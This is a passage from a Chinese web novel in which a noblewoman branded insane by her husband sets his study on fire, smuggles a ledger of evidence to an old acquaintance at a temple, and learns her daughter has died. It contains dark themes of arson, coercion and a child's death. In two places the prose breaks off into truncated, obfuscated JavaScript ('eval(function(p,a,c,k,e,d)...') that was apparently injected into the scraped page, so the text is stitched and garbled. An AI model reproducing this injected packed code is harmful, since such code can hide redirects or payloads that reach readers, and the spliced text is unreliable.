“夫人何必与郎主置气,前些日子不还好好的?”玉盏舀了粥水递到王令淑唇边,动作细致,出于真心劝说,“只要夫人低一低头,郎主有什么会不答应您?” 王令淑像是没听到一般。 玉盏犹豫片刻,又说:“女郎烧得昏昏沉沉,一直唤阿母呢。” 果然,王令淑身体一颤,苍白的唇紧抿。她似乎彻底失去了喝粥的兴趣,又木木坐着,乌黑的眼眸没有焦距,像是蒙着一层雾气。 “女郎这么小,病得难受,自然只想着缩在阿母怀中。”玉盏仍是絮絮说着,仿佛是心疼一般,兀自道,“这世上做母亲的,难怪是断然舍不下儿女的,这般招人怜爱!” 玉盏仍在说下去。 她原本就性子温柔,言谈细密,这些话像秋雨般落入人心中去。 王令淑仍是木木听着。 谢幼训自胎中不足,从在襁褓中就病弱得很,时常吃着药。王令淑自然心疼得很,时时守着,对女儿病中黏人的模样最是清楚不过。 直到今年,大了些才好点。 谢幼训每生一次病,王令淑心中便像是被割了一刀。 她恨不得以身为替。 可世上从无这样便宜的买卖,她能做的,仅有陪在谢幼训身边。抱着女孩儿单薄细瘦的身体,轻声哄着,细致地为她喂药,一遍遍说阿母在呢。 “夫人只怕还不知……” “郎主得知夫人想去白云寺点长明灯,昨日未与您吵闹前,特意嘱咐人去了白云寺传信。” “您就是不看在郎主的份上,也该为女郎想一想。” 王令淑抬头看玉盏。 玉盏面色真诚,眸光温柔。 “这些话,是谢凛让你来对我说的,对吗?”王令淑知道玉盏是谢凛的人,并不感到意外,只越发觉得孤单,“你回去吧,日后不必你过来了。” “夫人……” 两人间的氛围,有些僵持。 玉盏本该就此退下,可她还是温声道:“夫人放过自己,病才能好起来,您这般是把自己往死路上……” “出去!” 玉盏还想说些什么,却只能退下去。 她低声道:“夫人,您即便是不为自己着想,也为女郎想一想。” 王令淑没有理会。 她独自坐在乱糟糟的书房中,一直坐到天黑。先前的婢子进来,将房中点了烛火,又给王令淑换上了温热的茶水,这才推出去。 王令淑移开视线,落在烛火上。 她的手腕又在做痛。 然而她站起身,很快走了过去,擎烛踉踉跄跄走向一侧的垂幔。火舌舔舐柔软的帘幕,顷刻间,火光便向着四周蔓延而去。 火光冲天,浓烟滚滚。 王令淑松了口气。 她坐在滚烫灼热的烈焰当中,看向门口。 片刻间,屋外传来了大声呼喊,脚步声和拎水声此起彼伏,嘈杂至极。王令淑被浓烟呛得睁不开眼,弯腰剧烈咳嗽,胸肺几乎要被扯碎。 恍惚中,门被人砰地踹开。 谢凛的身影闯进来,一把攥住她的喉咙,几乎夺走王令淑胸中最后的空气。 13. 账册 灼热大火翻卷涌来,浓烟被滚烫的风所裹挟,顷刻间便要将两人淹没。恍惚之间,王令淑的意识几乎彻底消散,她以为自己真的要死了。 但谢凛松开了手。 他径直将她打横抱起,朝门外走去。 新鲜空气挤入胸腔,王令淑终于稍微清醒了些,就被拽住后脖颈往火场拉。火光几乎照彻半片夜空,火舌呲啦啦地往外舔舐,将她鬓边碎发烧焦。 王令淑被烫得止不住挣扎。 “不是想死吗?” 谢凛扣着她的肩膀,几乎将她的身体硬生生提起来。王令淑无法着力,只能硬生生又被他推入门内,烈火迫不及待地扑向门口,差一点便要将王令淑吞没。 王令淑转身要往外跑。 还没跑出去,屋顶被烧断的横梁便砸了下来,挡住了她的去路。 烈火阻隔掉了王令淑的视线。 她接连几日都没有好好饮食,此番挣扎之下,已经没有多少力气。滚滚浓烟已经彻底笼罩了书房,她彻底脱力摔坐在地上,只能凭借求生欲往屋外挪。 可短短几步路,竟像是天堑。 王令淑伏在地上,呛得眼泪汹涌,有些茫然地等死。 她赌错了。 谢凛对她,终究还是恨意来得多。 但王令淑并不后悔。 但她想看一眼岁岁,至少要叮嘱她几句话。 死了的人不知苦痛,装进棺椁里吹吹打打表演一番,也就完事。但活着的人却还要处处筹谋,要操心的事情实在太多。 恍惚间,有人浇灭了她眼前的烈火。 滚滚浓烟模糊了对方的面容,王令淑只模糊察觉到,对方看她的视线十分阴沉暴怒。不等她有什么反应,便将她拽入怀中,用力到硌得王令淑浑身都疼。 王令淑被呛得意识模糊。 她没力气挣扎,或者说些什么。 此事火势已经彻底蔓延到了屋顶,一截烧焦的横梁骤然砸下来,结结实实砸在了对方背上。抱她的人来不及闪躲,只能仓促弯腰,将她护在了怀中。 对方闷哼一声,继续往外。 出了书房,新鲜的空气倒灌而来,王令淑忍不住大口大口呼吸。 谢凛讥讽:“这么贪生怕死,还想死?” 察觉自己还被人抱着,王令淑剧烈挣扎起来。兴许是被烟熏火燎了一番的缘故,素日强硬的谢凛没用多少力气,任由她挣脱了他的怀抱。 她不理会谢凛的话,自己走向水桶。 王令淑捧起清水,将自己满脸满手的烟灰洗干净。 “我要去见岁岁。”她扭过头看向谢凛,脸上全然不是在商量的神色,“让我去看她。” 谢凛似乎是被她气笑了,眸光阴沉看着她:“放火烧了我的书房,还有脸跟我提条件。纵着你几日,王令淑,你就敢蹬鼻子上脸了?” “我要看岁岁。” 谢凛对上王令淑的目光,眸色越发幽深。 他周身气场低沉压抑,面色冷得可怖,双眼死死盯着王令淑。然而王令淑却仿佛轻快自在了不少,她坐在了院内的石凳上,任由四周喧闹不为所动。 “你当真以为我不敢真杀了你……” “你不杀我,我还能活很久不成?”王令淑反问他,见谢凛目光微沉,甚至带了一丝明显的愕然,她反而轻笑出声,“就现在,我要去见岁岁。” 谢凛看她的目光很复杂。 不知道过了多久,他转身离去。 只留下一句:“随你。” 玉盏不知从哪里冒出来,只是面色仍旧苍白,轻声说道:“夫人这副模样,还是先去沐浴更衣,休息一夜再去见女郎如何?” “她睡了吗?”王令淑看一眼天色。 玉盏只好说:“烧得昏昏沉沉,早前便睡下了。” 王令淑站起了身。 谢幼训的住处离谢凛的书房不远,但因为院子布置得清幽,冲天的火光和人声,倒也没太惊扰到这边。院内静悄悄的,见了王令淑,也只是悄声行礼。 外间点着灯,内间却熄了灯,帷帐低垂。 乳母轻声道:“半个时辰前才退了烧,吃了小半碗肉糜粥,方才睡下。” 王令淑点点头。 她没有令人重新点灯,自己坐在谢幼训床边,借着微弱的灯光看女童的面容。她似乎是哭了很久,双眼红肿得像是核桃,眼睫毛也黏成一绺一绺。 这副模样,好不可怜。 王令淑看得心里难受,伸手摸了摸,果然烧已经退了。 她收回手,心下越发酸涩。 谢幼训又做错了什么呢?摊上她和谢凛这样的父母。 王令淑坐在帐幔前,兀自有些失神。 “阿母?” 王令淑回过神,看向醒过来的谢幼训。女童睡眼惺忪,迷迷糊糊翻过身来,用脸颊来贴王令淑的身体,张嘴打了个呵欠。 “睡吧。” 谢幼训强撑开眼睛:“我不困。” 王令淑:“那你听我说几句话,告诉我好不好。” 谢幼训点头。 “等你病好一些,便与我住在一处……”不等王令淑说完,谢幼训便已然努力点了点小下巴,眸光炯炯地看着她,王令淑反倒愣了一下才说,“我们先搬到西边的院子去。等过一些日子,阿母在城郊的别苑收拾出来,我们便一起住在那边,你觉得好不好?” “那阿父呢?他不陪我们吗?” 王令淑狠下心:“以后我们再也不见他。” 谢幼训呆呆看她。 “阿母,你的病更严重了吗?”女童坐起身来,伸手摸王令淑被烫伤的肌肤,眼睛里满是心疼,“你身上这些……是因为病又犯了吗?” 王令淑无奈说:“我没有病,他们骗你。” 谢幼训哭着摇头。 “阿母……我看到书上说,得了癔症会连亲近的人都不认得,阿母千万要记得岁岁……” “我没有病。”王令淑心中生出一些类似茫然的情绪,她看着哭泣的谢幼训,语气严厉起来,“旁人的话不可信。岁岁,你连阿母的话都不信了吗?” 谢幼训小声:“我信的话,阿母会乖乖回去养病吗?” 王令淑看着她。 不知道为什么,她感觉心口的温度仿佛在流失,冰冷的夜风一阵阵地吹。 “你还小,不知道什么是癔症。”王令淑摸了摸谢幼训的小脸,不知道为什么,忽然语气不由自主地哽咽了几分,“旁人说我癔症,你便要相信么?你怎么连……” 谢幼训扑入她怀中。 “阿母,岁岁相信你说的。” “你下次不要把自己弄成这样,好不好?” “等阿母病好了,岁岁天天陪你。” 王令淑心口最后一丝温度,也被夜风吹散了,只剩下空洞的凉意。 她僵硬地偏了偏脑袋,视线落在角落里的铜镜上,看着镜中女子的形容。华贵的衣裙被烧灼得破烂,凌乱翻卷地拖下来,素日精巧的云鬟雾鬓凌乱垂落,更是被扯得乱七八糟。 配上那张苍白无血色的脸,只有一双漆黑的眼闪着幽怨疯癫的光芒。 怎么看,都像是个疯子。 王令淑被一股后知后觉的恐惧攫取了心脏,浑身从头凉到脚,她不敢置信地垂眼看向谢幼训。对着女童惺忪的泪眼,她哑声问道:“岁岁,你也觉得……” “阿母是个疯子吗?” 谢幼训拼命摇头,豆大的泪水如珠子砸落。 王令淑看得心疼。 她手忙脚乱给谢幼训擦眼泪,可怎么擦都擦不干净,女童好似被她弄疼了大声哭出来。王令淑歉疚难堪得浑身颤抖,双手不知如何是好,只能崩溃地埋下头捂住脸…… 王令淑别过脑袋,无声饮泣。 是了,是了。 若非是疯了,正常人怎么会做出放火烧屋,只为出来看一眼女儿的事情。她明明可以向谢凛低头,明明低一低头,就可以不惊动不吓到不连累任何人。 她为什么不去求谢凛一句。 她为什么非要放火烧了书房? 她是不是真的疯了? “阿母,阿母……” “岁岁没有觉得阿母是疯子,岁岁喜欢阿母,阿母不哭。” 谢幼训伸手来抱她,像是无措的小鹿一样,一下一下用脑袋轻轻撞她。王令淑缓缓从恐惧中缓过来,忍耐着情绪,伸手将她抱入怀中。 她说:“我知道。” 谢幼训含着泪水说:“阿母快些好,过些日子就是岁岁生辰了,阿母说好了陪我一起看马赛,一定要说到做到。” “嗯,阿母说到做到。” 王令淑轻笑一下,像是往日那样,轻拍哄她入睡。 谢幼训才渐渐哭得好些。 不知道过了多久,王令淑将女儿哄得熟睡,思绪也渐渐变得清晰起来。谢凛找了郎中,刻意让她成为得了癔症的疯子,那归根结底,症结还是出在谢凛身上。 再怎么解释,都没有太大的用处。 也没什么必要解释。 王令淑的手伸入衣襟中,摸到了账簿,心下稍稍安稳。 先前传递信件的婢女不见了,直接去打听和寻找的话,谢凛一定会觉察到,毕竟谢家这些人都在无形看着她。那不如,还是由她出去一趟。 王令淑想到了白云寺的长明灯。 看着脸色苍白的谢幼训,王令淑心头更笃定了这个念头。 她盼着谢幼训—— 岁岁平安,长命百岁。 王令淑离开谢幼训的住处时,月已过中天,整座谢宅只有檐下的灯笼尚且亮着。她孤身穿过重重花木树影,绕到了自己的院子,推门进去。 玉盏不知道去了哪里,也没有守夜的仆妇。 她自己换下脏衣裳,随意擦洗。 折腾了几日,王令淑终于回到了熟悉的环境,迟来的疲倦几乎淹没了她。 王令淑一觉睡到了第二日傍晚十分,虽然浑身难受,却还是起了身。玉盏仍然不在,日常服侍的粗使仆婢倒是都还在,王令淑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但这么多年,也没见谢凛换…… 姑且就这么喊着吧。 “谁跟你说这些?”谢凛攥书的手有些紧,凝眉盯着她,“还是说,你来我这里发什么疯?” “我自己的身体,我清楚得很。”王令淑说这话的时候脸上没有表情,她语调也变得很温柔,就像许多年前一样,“我不大放心岁岁。” 谢凛没出声。 王令淑轻声:“马上就是她的生日……” “马赛早已安排好,只等她生日时,陪着她出城去看。”谢凛打断了她的话,声音立刻冷下来,“勿再胡思乱想,免得癔症越来越坏!” “是胡思乱想还是确有其事,谢司徒难道还不清楚?” 她又恢复了素日的讥讽语调。 谢凛仿佛有些烦躁。 过了片刻,他放下了手里的书卷,冷淡瞧着她:“你要做什么?” “我想出去透透气。” “王令淑,你当我是可以任你贪婪无度许愿的菩萨?” “白云寺。” 王令淑对上谢凛的视线,对方乌黑瞳仁沉沉,看向她的视线冰冷又复杂。片刻他才收回视线,仍是那副矜贵从容的气度,玉白修长的手指扶在案边。 他不紧不慢,眉梢眼底甚至透出淡淡的讥诮。 “你明知道,我不会任你索取。” “知道。” 王令淑从袖中取出诗笺,递到他跟前。谢凛没有伸手来接,王令淑就维持着动作,只是语调软和了几分,“中秋节时,你要的我给你写的诗。” 谢凛似乎冷笑出声,径直起身往外走。 王令淑伸手拽住。 “交换条件你提。” 见他看不上这首诗,王令淑伸手便撕,却被对方攥紧了手腕。她挣扎不开,只觉得烦躁,随手抛开了这张轻飘飘的诗笺。 一只修长冷白的手随意接住纸张。 他没有看,信手压在书底。 王令淑被他拽得踉跄,险些跌入他怀中,虚虚靠在窗台上。上不去下不来,这种无力感令王令淑想发脾气,然而下巴却先被他捏住。 哪怕动作无耻至极,谢凛仍是那副清冷斯文的模样。 “阿俏,你以为我是你召之即来挥之即去的……” 最后两个字的声音很轻,咬字却重,凑在耳边时,王令淑几乎觉得他要咬下她的一块肉来。冰冷潮湿的呼吸洒在她的颈窝,在灰沉沉的暮色里,仿佛靠近她的是一匹恶狼。 王令淑下意识要偏过脸,却被强硬地掰过来。 她直视他的眼睛,脊背发寒。 “你说。” 王令淑低垂眼睫。 谢凛攥着她下巴的手用力,迫使她靠近他,如情人般在耳廓边絮絮低语。王令淑轻颤一下,苍白的脸颊浮起薄红,抬眸狠狠瞪了他一眼。 “……无耻!” 谢凛眉尾轻挑,仍是衣冠楚楚的端方模样。 他扶着王令淑的腰,将她架在窗台上,好整以暇地提醒她:“换做别人,没有与我谈条件的机会。” 14. 杀女 王令淑下意识想要躲开他,却被攥住,不得不对上他的视线。晦暗的天光下,谢凛面容有些模糊,只有视线若游丝般笼在她身上。 “闭眼。” 听到他的话,王令淑心头微微一颤。 她轻轻闭上眼。 王令淑等了很久,却没等到谢凛做什么,只意识到对方的手指抚过她的额头。额头被掉落的房梁擦伤,此时结了痂,红肿却没有消去。 他的指尖冰凉,略微用力。 疼意令王令淑心神微荡,下意识抬眼直直看他。 然而谢凛似乎早有预料,手指往下,覆住了她的双眼。王令淑抓住窗棂,身体回避,后背却被抵在了打开的槅扇上,无法躲闪。 谢凛的视线在她脸上流连。 不知过了多久,王令淑听见他的嗓音缓缓响起:“一、二……” 王令淑攥着窗棂的手泛白,身体在黑暗中往前凑了凑,呼吸微微发紧。腰间被攥着的手用力,引得她身体轻颤一下,不由自主又想睁开眼。 谢凛垂眸看着她。 女人美丽的面容微微仰起,苍白唇瓣几乎贴上他的面颊。僵持片刻,就在谢凛以为她要妥协时,王令淑歪过脸,伸手虚虚圈过于他的腋下。 不细看,倒像是两人亲昵抱在一起。 “你明知道……”王令淑的声音不大,声音被风吹得有些绵软,虚虚贴在他耳畔,“我不喜欢低头。” 谢凛喉结微滚,攥着她腰肢的手收拢。 他冷声:“你可以不低头。” 女人吻在他耳后。 冰凉的唇瓣贴上温热处,不怀好意地啃吮。谢凛几乎要掐断她的腰,抬手捏住她的下颌,迫使王令淑看向他,哑声道:“就这点本事?” 王令淑没出声。 谢凛攥她下巴的手用力。 “谢司徒是嫌我长得不好看,不够格出卖美色,”女人一贯高高扬起的长眉微敛,眼眸低垂,语调也仍旧是软绵绵的,“还是摇尾乞怜得姿态不够低?” 谢凛松了手,眸光添了几分讽刺。 这才是王令淑。 哪怕已经做出低低的姿态,总藏不住骨子里的傲气。 偏她自己不知道,已经这样做小伏低,却仍是迁就不下来、下意识睨着别人的模样有多招人恨。换做是谁,都忍不住想嘲讽她几句,或是砸一砸她这身硬骨头。 她毫不知道自己在这世上,有多扎人眼。 谢凛移开视线。 “收了这副姿态。” 王令淑没收,她凑过来秾丽的面庞,抬手描摹他的眉眼。晦暗的房间内,谢凛只能隐约瞧见王令淑的面容,朦胧中王令淑的眼神似悲似喜。 她轻声说:“谢凛,如果人死还有来生,我们还是不遇见得好。” 王令淑的声音有些轻颤。 “胡言乱语。”谢凛轻嗤出声,他们许了诺言要死同穴生同衾,这辈子下辈子都不可能更改,“结发为夫妻,生生世世你都是我的人。” “阿俏,你还想着别人?” 王令淑感觉谢凛的手很冷,紧紧掐住她的脸,令她没有办法做出表情。她只觉得有些恍惚,这么一眨眼,她竟然与谢凛也做了七年的夫妻。 她喜欢过他,也恨过他。 但百般纠葛下来,王令淑只觉得疲倦,不想与他再见。 真不知道爱啊恨啊有什么好的。 “那真是没办法,今生确实只能与你在一起。”王令淑收了那些不合时宜的思绪,她愣愣想了想,好声气好气说,“为了岁岁,姑且先当对面上的夫妻。” 谢凛没有说话。 黑暗中很安静,过了会儿,谢凛似有些疲倦的嗓音响起。 “你若想出去走走,明日去白云寺便是。早前就通知了白云寺主持,明日寺中不接旁的香火,专门……你不是想点长明灯么?” 王令淑没太留心听他的话。 明日出了谢家的门,她将手里的账册送出去,与谢凛大概是面上的夫妻都做不了了。 王令淑略略回过神。 “我给你也点一盏。” 谢凛似乎轻笑了声,好整以暇:“是吗?” 王令淑嗯了声。 她心中惦记着明日的事情,后头谢凛说些什么,做些什么,她都没太上心。王令淑这两年经常如此,旁人与她说什么做什么,心不在焉地应好应是。 实则一颗心好似断了线的风筝,随思绪乱飘。 只记得谢凛似乎有些莫名。 第二日天色还没亮,王令淑便起了身,乘车前往城郊白云寺。 此时晓雾朦胧,斜月西沉。长街辘辘碾过车辙,道旁店家打起灯笼,屋舍内人影晃动,早起上朝的官吏与谢家的牛车擦肩而过,各自奔忙。 王令淑掀开车帘,失神瞧着。 她好多年没有见到这副景象了,上一次看到似乎还是未出阁时。 那时候王家还繁盛,朝中自然少不了王家人。可眨眼之间,王家就已经凋敝到,她几乎找不到一个亲近的家人,更遑论有人在朝为官。 玉盏放下车帘,说:“风里的露水寒凉,还是不要吹了。” 王令淑点点头。 抵达白云寺时,天已经大亮,只是天边蒙着云雾。 白云寺内果然没有闲杂人,且早早便有知客僧在外候着,一见了谢家的马车便上前迎接,口中念着佛号。寺内很是清幽,又是多年名刹,各处景色也十分别致。 王令淑在各处上完香,再去点长明灯。 站在佛塔上往下看去,能一直看到寺庙外的官道,有人正朝着寺庙的方向走来。 大约是急着避雨。 天边浓云凝结,如厚絮般低沉,滚滚朝着半片还算明亮的天空碾来。云中已有闪电在酝酿,仿佛下一刻,便有惊雷划破天地。 王令淑看着那道身影。 京中世家郎君,虽然都以美姿仪、性放旷为风尚,但有些人天生便超逸出群,站在人群中令人移不开眼睛。这么多年过去,隔得这样远,王令淑还是迅速联想到了一个名字。 崔家三郎,崔礼。 她略作思忖过后,没有抽出袖中的账簿,交给添油的小沙弥。 王令淑拎起裙裾,快步下了佛塔。 不远处崔礼正朝佛塔走来,猝不及防抬眼,眸光带了几分意外。王令淑心知他是认出了自己,也不退避,大大方方对他行了一礼,“崔世兄。” 崔礼似乎犹豫了一瞬,也没有避险退让。 笑着还礼道:“数年不见,十一娘近来可好?” “一切都好。”雨水打得王令淑有些睁不开眼,她提议说,“后舍准备了茶水,眼下又落了雨,世兄不妨过去吃口薄茶,也算十一娘稍有招待。” 崔礼很是意外。 他沉默了片刻,仍没有拒绝:“好,劳烦。” 王令淑松了一口气。 她虽然困宥于后宅,从前和崔礼也没什么交情。但有她对崔礼的人品道德,却是十分信得过,若是将这份牵扯到谢林顿账簿交给小沙弥,即便是施以重金…… 这份账簿,仍有极大可能,最终又会回到谢凛手中。 而别的成年僧侣,则分得出利害,绝对不会接手她手里的这份账册。 利益关系千变万化,人情好坏无定时。 唯有崔礼这般君子品格,若磐石美玉,不可转移不可毁损,经年如一。交托给他,王令淑大可信得过,也赌他多半愿意帮助自己。 王令淑心中虽然如此想,却仍有些忐忑。 “算起来,有四年没见世兄了。”王令淑亲手为他斟了茶水,递到他手边,眸光带着几分欲说还休的痴意,“十一娘这几年,过得不大好时,时常念起世兄……” 崔礼接茶盏的手僵了一下,动作小心几分。 王令淑却攥住他的手指。 主持和知客僧视线如被烫到,连声念了几遍佛号,赶紧退了出去。剩下的玉盏似乎要上前,却被王令淑挥退,不得已退了下去。 于是禅房内便只剩下两人。 窗外细雨如绵,远处的梵音被雨声隔绝。 崔礼虽然照旧端坐,眉眼淡静,然而耳廓却泛起不易察觉的绯色。他微垂着狭长的凤眼,冷玉般的面上神色照旧温和,语调也容止有度,只是问她:“世妹是有什么难言之隐,眼下众人退避,直言不讳便是。” 果然,这么多年了。 他仍是这般风度品格,丝毫没变。 可话在王令淑喉间绕了一圈,她却没办法直接说出来,事到临头她还是信不过崔礼。毕竟崔礼再如何君子之风,到底是个人,是人便会趋利避害。 她这件事是在拖崔礼下水。 “我思世兄良久。”王令淑的眼底泛出水泽,情意绵绵地看着他,仿佛想靠近却不敢,“我与谢凛夫妻不睦,我在谢家一日也呆不下去了。世兄,看在我们从前的情谊上,你帮帮我……” 见王令淑没再勾缠,崔礼仍旧正襟端坐。 他微微蹙眉,眉间有几分思量。 “莫哭。”崔礼的语调温柔了很多,虽然没有触碰她,却已经是在安抚她,“我们少时相熟,两家门庭往来频繁,自然情谊非泛泛。若有什么难处,我必然会帮你。” 他说了这么多话,却无一字往风月旖旎上靠。 王令淑心中涌出隐秘的难堪。 但眼下却没工夫多想。 “我想与谢凛和离,他不答应。”她取出衣襟内小心藏着的账簿,账簿已经仔细包裹好了,看起来像是一沓纸稿,“我搜集了些东西,你替我交到王家去,好不好?” 她本想装□□慕崔礼多年而不得,扮柔弱可怜博取他的同情与怜惜…… 然后顺水推舟,连哄带骗,告诉他只有把这个交到王家,让自己顺利和离才能与他长相厮守。崔礼或许无意与她厮守,但哪一个正常男人,被仰慕的可怜女子这样哀求时能拒绝? 可崔礼全然不接茬,她只能直说要求。 王令淑已经没把握,他会帮她。 崔礼的定力,远比常人强。更何况,他从前可是名贯淮左的崔家玉郎,博学多才、长于辩论,这世间聪明人加在一起,也不敌他半分风采。 这样聪明卓尔的人,不会被她前言不搭后语的言语哄骗。 王令淑失落地松下肩膀。 “好。” 纸包被崔礼接了过去。 青年神情认真,仔细将纸包收入袖中,这才看向她。他克制温和的视线扫过她周身,很快收回,斟酌多问了一句:“额头上的伤,是被打的吗?” 现在的王令淑根本不在乎自己面容如何,穿着如何。 所以梳妆时,也没有让玉盏遮掉伤疤。 但此刻,她后知后觉感到了窘迫,几乎想要躲开崔礼的视线。然而他几乎没怎么看她,此刻也是瞧着窗外被雨淋湿的翠竹,绝无冒犯她的意思。 “不是。”王令淑不知道说什么才能结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知道是不是王令淑的错觉,崔礼的脸色似乎有些难看,但很快又恢复了一贯的温和沉静。他看了她一眼,提笔思索,随即专心写药方。 玉盏瞧了,笑道:“与夫人素日吃的差不离呢。” 这句话令王令淑猛地回过神。 “我没有病!”这盆脏水泼上来以后,所有人都将她视作一个疯子,谢家的人也就罢了,为什么谢家以外的人也要被哄骗,“崔世兄,我没有病,是谢凛逼迫郎主说我疯了!” “十一娘,癔症若不内服汤药、外自省自制,否则迟早会被人当作是……” “不要说!” 王令淑几乎是喝断崔礼剩下的两个字,先前压抑下去的难堪,百倍翻涌上来。原来在崔礼眼中,自己本就是个疯子,所以才对他做出那些丢人现眼的事情。 最重要的是,那份账簿也会被他当作不重要的废品。 随手丢弃,或是送还谢家。 “你将它……” 话还没说完,崔礼头一次打断了她,温声说:“十一娘今日与我说的话,我都记下了,必定履诺。若违此誓,崔某今日走出白云寺,断遭雷劈。” 王令淑不明白他为什么这么说。 他还要把账簿送去王家吗? 疯子的话他也要守信守诺,到了发誓以证诚意的地步吗? “你……” 窗外的雨水已然停歇,只有风吹动潇潇凤尾,修长翠竹坚韧不拔,决不可摧。崔礼并不久留,起身告辞,走到门口才回头朝王令淑看来。 青年温声道:“得知世妹病重很是挂怀,今日路过此地,又听闻世妹在寺中祈福,便想着看一看世妹近来可好。能够见到,我放心很多。” 王令淑无意识睁大了眼眸。 崔礼早就知道她“疯”了。 可他明知如此,却还是进庙看她。和她叙旧,也不是因为她强行相邀。 崔礼明知道她是个疯子,还答应了她的疯话。 并非出于敷衍与可怜,他似乎是,他似乎是仍将她视作王十一娘,并非是个“似人非人的疯子”。 王令淑呆坐在原地。 回过神来时,她已经泪流满面。 她留在寺中,住了几日。 原因无他,王令淑不想回谢家,没人会喜欢一个笼子。 但是一连住到第五日,谢凛都没有让人来催。反倒是寺庙之中,隐约传出一些风声,朝堂上似乎是出了大乱子,牵扯的人中首当其冲便是尚书令谢凛。 这些若隐若现的消息,令王令淑警惕起来。 然而待在寺庙中,谢凛到底怎么样了,终究是听不到有用的。 她连夜回了谢家。 然而谢凛并不在家,偌大的谢家竟有些说不出的浮躁与慌乱。王令淑无心细究这些,她立刻便去找谢幼训,准备先将岁岁带在身边。 但是谢幼训的院子空了。 不仅谢幼训不见,连先前照顾谢幼训的丫鬟、仆妇,全都没有了踪影。 无论王令淑怎么审问鞭打,余下的下人全都咬紧了牙关,只是一味摇头。这时候,王令淑才发现,整个谢家的仆人甚至都被换了一遍。 这些不是几日前的仆人。 强烈的不安笼罩了王令淑,她将整个谢家都翻了一遍,能翻出的熟人竟然只有蕊娘。 柳蕊娘似乎早就等着了。 她倚坐在圈椅内,兴致勃勃打量王令淑。王令淑似乎已经好几夜没睡了,正常苍白的脸泛出不正常的焦黄,细看仍有斑驳泪痕,眼底乌黑,唇瓣干裂出血痕。 “岁岁呢?” 柳蕊娘等这一刻等了很久,也不卖关子。 “当然是死了。” “你的女儿谢幼训,死了好几天。” “你这几天将谢家翻了个底朝天,你可别告诉我,你没看到谢幼训的灵堂?”